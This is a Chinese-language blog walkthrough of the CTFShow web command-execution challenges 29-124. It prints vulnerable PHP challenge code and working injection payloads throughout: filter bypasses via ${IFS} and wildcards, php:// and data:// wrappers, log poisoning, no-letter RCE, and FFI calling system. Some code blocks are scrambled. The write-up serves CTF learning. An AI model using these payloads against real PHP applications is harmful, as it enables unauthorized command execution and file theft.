跳到主要内容
CTFShow Web 命令执行 29-124 实战解析 | 极客日志
PHP Nuct 算法
CTFShow Web 命令执行 29-124 实战解析 综述由AI生成 详细解析了 CTFShow Web 入门命令执行题目 29-124 的通关思路。涵盖基础注入、参数逃逸、文件包含、无参数 RCE、无字母 RCE、绕过无回显、关键词模糊匹配、字符集受限、黑盒过滤、输出混淆、目录限制、数据库读取、FFI 利用及环境变量拼接等多种技术场景。重点讲解了如何绕过各类过滤机制,包括通配符、编码、逻辑运算符、Shell 变量、UAF 脚本及白名单函数利用等实战技巧。
板砖工程师 发布于 2026/4/6 更新于 2026/5/21 9 浏览命令执行漏洞原理
应用程序将用户可控的输入数据未经充分安全处理,直接传递给系统命令解释器(如/bin/bash、cmd.exe)执行,导致攻击者能够注入并执行任意操作系统命令。
PHP 代码执行函数包括:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func() 等。
PHP 命令执行函数包括:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru() 等。
利用方式涵盖基础注入、编码绕过、特殊字符绕过、文件包含配合、无参数 RCE、无字母数字 RCE、协议利用及权限提升等。
web29-web31:基础注入
web29
error_reporting (0 );
if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/flag/i" ,$c )){
eval ($c );
}
} else {
highlight_file (__FILE__ );
}
这里使用了 eval 危险函数,过滤了 flag 关键字。思路是从代码执行转向命令执行,使用命令执行函数绕过。
Payload:
?c=system('tac fla*')
或者尝试通配符:?c=system("tac fla?.php")
web30
过滤了 flag、system、php。换一种命令执行函数即可。
Payload:
?c=echo shell_exec('tac fla*')
web31
过滤字符较多:flag system php cat sort shell 点号 空格 单引号。
虽然部分命令被禁,但 passthru 可用。针对空格过滤,有几种常见的绕过方法:
Shell 内部变量替代空格:?c=passthru("tac${IFS}fla*")
Shell 内部变量 + 空参数混淆:?c=passthru("tac$IFS$9fla*")
制表符替代空格:?c=passthru("tac%09fla*")
换行符替代空格:?c=passthru("tac%0afla*")
web32-web36:参数逃逸
web32
error_reporting (0 );
( ( [ ])){
= [ ];
(! ( , )){
( );
}
} {
( );
}
if
isset
$_GET
'c'
$c
$_GET
'c'
if
preg_match
"/flag|system|php|cat|sort|shell|\.| |'|\`|echo|;|(/i"
$c
eval
$c
else
highlight_file
__FILE__
过滤了括号,限制了危险函数的使用。利用 include 函数无需括号的特性,在 c 参数中定义一个不受限制的新参数实现参数逃逸,再结合 php://filter 包装器读取 flag。
Payload:
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web33 注意需要 ?> 提前闭合语句,防止 data 伪协议的解析被当成 PHP 代码解析。
Payload:
?c=include%09$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>
web34-36 思路类似,也可以尝试参数逃逸配合日志注入。例如将 payload 写入 access.log 后通过 include 读取。
Payload:
?c=include%0a$_GET[1]?>&1=.../var/log/nginx/access.log
web37-web39:文件包含 + 伪协议命令执行
web37 error_reporting (0 );
if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/flag/i" ,$c )){
include ($c );
echo $flag ;
}
} else {
highlight_file (__FILE__ );
}
include 支持任意文件,且 data 伪协议可以将数据当作 PHP 代码执行。
Payload:
?c=data://text/plain,<?php system("tac fla*")?>
web38 过滤了 flag, php, file。使用短标签语法绕过 php 关键字限制。
Payload:
?c=data://text/plain,<?= system("tac fla*")?>
web39 error_reporting (0 );
if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/flag/i" ,$c )){
include ($c .".php" );
}
} else {
highlight_file (__FILE__ );
}
看似拼接了 .php,但 system 执行完 include 就会返回输出,忽略后续字符串。
Payload:
?c=data://text/plain,<?= system("tac fla*")?>
web40:无参数 RCE if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/[0-9]|\~|\`|\@|#|\$|%|^|&|*|(\)|-|=+|{|[|]|}|:|'|" |,|<|.>|/|\\/i",$c )){
eval($c );
}
} else {
highlight_file(__FILE__);
}
这是一个典型的无参数 RCE 场景。传入字符串必须经过严格正则过滤,不允许显式参数。
localeconv():返回本地化信息数组,第一个元素通常是小数点。
current():返回数组中的单元,默认取第一个值。
dirname():返回路径中的目录部分。
array_reverse():将数组内容反转。
next():将指针向后移动一位并返回该元素。
show_source():读取文件内容函数。
第一步:扫描目录
黄金规则:scandir(current(localeconv()))。
Payload:
?c=var_dump(scandir(current(localeconv())))
第二步:文件读取
从结果中找到 flag 位置,利用数组反转和指针切换读取。
Payload:
?c=show_source(next(array_reverse(scandir(current(localeconv())))))
web41:无字母 RCE 连字母都限制了,但留下了管道符 |。可以通过位或运算,将字母和数字重新构造出来。
编写脚本遍历 ASCII 码表,寻找两个字符进行按位或运算能得到目标字符的组合。生成可用字符列表后,构建 Payload。
遍历 ASCII 码,找到满足 chr(i) | chr(j) 为可见字符的组合。
记录映射关系到文件。
根据目标命令(如 system),查找对应的十六进制编码组合。
最终 Payload 示例:
?c=("%xx"|%"%yy") (具体需根据生成的 rce_or.txt 文件组合)
web42-web53:绕过无回显 RCE
web42 if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
system ($c ." >/dev/null 2>&1" );
} else {
highlight_file (__FILE__ );
}
题目将输出重定向到 /dev/null。可以通过截断执行或使用逻辑运算符实现回显。
分号分隔:?c=tac flag.php;
逻辑或短路:?c=tac flag.php||
逻辑与:?c=tac%20flag.php%26%26
后台执行:?c=tac%20flag.php%26
web43
web44
web45 过滤了分号、flag、cat、空格。空格替换同 web31,注意不要用转义符。
web46 过滤了数字,URL 编码不会被解析成数字。用 URL 编码绕过空格,通配符换成问号。
web47-web49 利用转义符 \ 让后面的字符失去特殊含义。web49 过滤了百分号,但 URL 编码不会以单独一个 % 形式被过滤。
web50 & 的 URL 编码被过滤,但管道符未过滤。利用 < 作为重定向输入。
Payload:
?c=tac<fl\ag.php||
web51 Payload:
?c=t\ac<fl\ag.php||
web52 新增 <、> 过滤,放开了 $ 和 {}。利用单引号拼接字符串。
Payload:
?c=t''ac${IFS}fl''ag.php||
若 flag 不在当前目录,可逐级返回上级目录查看。
web53
web54:关键词模糊匹配 if (isset ($_GET ['c' ])){
$c =$_GET ['c' ];
if (!preg_match ("/.*c.*a.*t.*|.*f.*l.*a.*g.*|.../i" ,$c )){
system ($c );
}
} else {
highlight_file (__FILE__ );
}
使用关键词模糊匹配,如 .*c.*a.*t.* 会匹配包含字母 c、a、t 的任何组合。
由于没有禁止 ls,先查看 flag 所在文件。发现是 flag.php 后,将其另存为不冲突的文件名(如 ccccc.txt),然后访问该文件获取内容。
Payload:
?c=cp${IFS}f??g.php${IFS}ccccc.txt
web55-web57:字符集受限 RCE
web55 过滤了所有大小写字母,允许数字和空格。使用八进制编码。
Payload:
$'\164\141\143' $'\146\154\141\147\56\160\150\160'
web56 过滤了字母、数字、反引号等特殊字符。可利用 PHP 文件上传机制。
核心原理:PHP 处理文件上传时会在 /tmp 目录下创建临时文件(如 /tmp/phpXXXXXX)。在短暂时间窗口内,通过执行该文件来运行任意系统命令。
Payload:
?c=. /???/????????[@-[]
配合上传包含 bash 命令的文件,在临时文件生成后立即执行。
web57 允许的字符:空格、斜杠、$、() 。利用 Shell 算术扩展 $(()) 进行数学运算构造数字。
例如:$((~$(()))) 计算对 0 取反的结果为 -1。通过多次相加得到目标数字 36。
Payload:
?c=$((~$(($((~$(())))...))))
web58-70:黑盒过滤 POST 参数
web58-web65 if (isset ($_POST ['c' ])){
$c =$_POST ['c' ];
eval ($c );
} else {
highlight_file (__FILE__ );
}
看似简单的代码执行,但页面显示命令执行函数被禁用。可配合文件读取函数实现任意文件读取。
Payload:
c=highlight_file("flag.php")
或 c=readfile("flag.php")
web66-67 highlight_file 被过滤。通过目录扫描找到 flag 位置。
Payload:
c=var_dump(scandir('/'))
找到根目录下 flag.txt 后读取。
web68-70 highlight_file 被禁用。RCE + include 包含函数参数逃逸绕过。
Payload:
c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=.../flag.txt
web71 输出混淆 error_reporting (0 );
ini_set ('display_errors' ,0 );
if (isset ($_POST ['c' ])){
$c =$_POST ['c' ];
eval ($c );
$s =ob_get_contents ();
ob_end_clean ();
echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s );
} else {
highlight_file (__FILE__ );
}
执行结果被正则替换为 ?。可以提前终止脚本执行使替换规则作废。
Payload:
c=include("/flag.txt");die();
web72 目录限制 使用了 open_basedir(),锁定了 PHP 操作的文件路径。无法跨目录读取。
Payload:
c=$a=newDirectoryIterator("glob:///*");foreach($a as$f){echo($f->__toString().' ');}exit(0);
若 UAF 脚本被禁用,可尝试其他内存操作技巧,但此处主要依赖 glob 定位文件。
web73-74:glob 协议 + include 读取 先用 glob 协议查看 flag 位置。UAF 被禁用,但 include 可用。
Payload:
c=include("/flagc.txt");die();
web75-web76:数据库文件读取 include 被禁用,UAF 不可用。利用 MySQL 的 LOAD_FILE() 函数。
c=try {$dbh =newPDO ('mysql:host=localhost;dbname=information_schema' ,'root' ,'root' );foreach ($dbh ->query ('SELECT LOAD_FILE("/flag36.txt")' )as $row ){echo ($row [0 ])."|" ;}$dbh =null ;}catch (PDOException$e ){echo $e ->getMessage ();die ();};exit ();
web77 提示 PHP 7.4,引入 FFI (Foreign Function Interface)。允许调用 C 语言函数。
文件权限差异:flag36x.txt 只有 root 可读,readflag 设置了 SUID 权限。
c=$ffi =FFI::cdef ("int system(const char *command);" );$a ='/readflag > 1.txt' ;$ffi ->system ($a );
web118:环境变量字符拼接 if (isset ($_POST ['code' ])){
$code =$_POST ['code' ];
if (!preg_match ('/.../' ,$code )){
if (strlen ($code )>65 ){echo '<div>you are so long</div>' ;}else {echo '<div>' .system ($code ).'</div>' ;}}else {echo '<div>evil input</div>' ;}else {
highlight_file (__FILE__ );
}
通过提取环境变量字符串的特定字符来拼接出想要的命令。
${PWD} 表示当前目录,${PATH} 表示文件位置相关的环境变量。
${PWD:~A} 取最后一个字符。
Payload:
${PATH:~A}${PWD:~A}${IFS}????.???
web119-web120 过滤了关键词。目标是执行 /bin/cat flag.php。
利用 ${#}、${SHLVL} 等特殊变量获取数字长度。
Payload:
${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}$IFS?${PWD:~A}??.???
web120-121 新增过滤了 SHLVL。构造方法和上一题类似,多了一个 r 的构造。
Payload:
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
web122 PWD 和 # 也被过滤。通过 HOME 获取 /,利用错误触发获取数字 1。
Payload:
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
web124:白名单函数利用
$whitelist =['abs' ,'acos' ,'acosh' ,'asin' ,'asinh' ,'atan2' ,'atan' ,'atanh' ,'base_convert' ,'bindec' ,'ceil' ,'cos' ,'cosh' ,'decbin' ,'dechex' ,'decoct' ,'deg2rad' ,'exp' ,'expm1' ,'floor' ,'fmod' ,'getrandmax' ,'hexdec' ,'hypot' ,'is_finite' ,'is_infinite' ,'is_nan' ,'lcg_value' ,'log10' ,'log1p' ,'log' ,'max' ,'min' ,'mt_getrandmax' ,'mt_rand' ,'mt_srand' ,'octdec' ,'pi' ,'pow' ,'rad2deg' ,'rand' ,'round' ,'sin' ,'sinh' ,'sqrt' ,'srand' ,'tan' ,'tanh' ];
preg_match_all ('/[a-zA-Z_-][a-zA-Z_0-9-]*/' ,$content ,$used_funcs );
foreach ($used_funcs [0 ]as $func ){if (!in_array ($func ,$whitelist )){die ("请不要输入奇奇怪怪的函数" );}}
eval ('echo ' .$content .';' );
黑名单过滤特殊字符,白名单给定可用数学函数。不能直接写 system。
构造 _GET 字符串 :利用 base_convert 和 dechex 转换。
$pi =base_convert (37907361743 ,10 ,36 )(dechex (1598506324 ));
构造动态函数调用 :用 {} 代替 [] 访问数组。
$$pi {abs}($$pi {acos})
传递真实参数 :URL 参数中指定 abs=system 和 acos=cat f*。
最终 Payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat f*
执行 system('cat f*') 获取 flag。
相关免费在线工具 加密/解密文本 使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
Gemini 图片去水印 基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online
curl 转代码 解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
Base64 文件转换器 将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
Markdown转HTML 将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online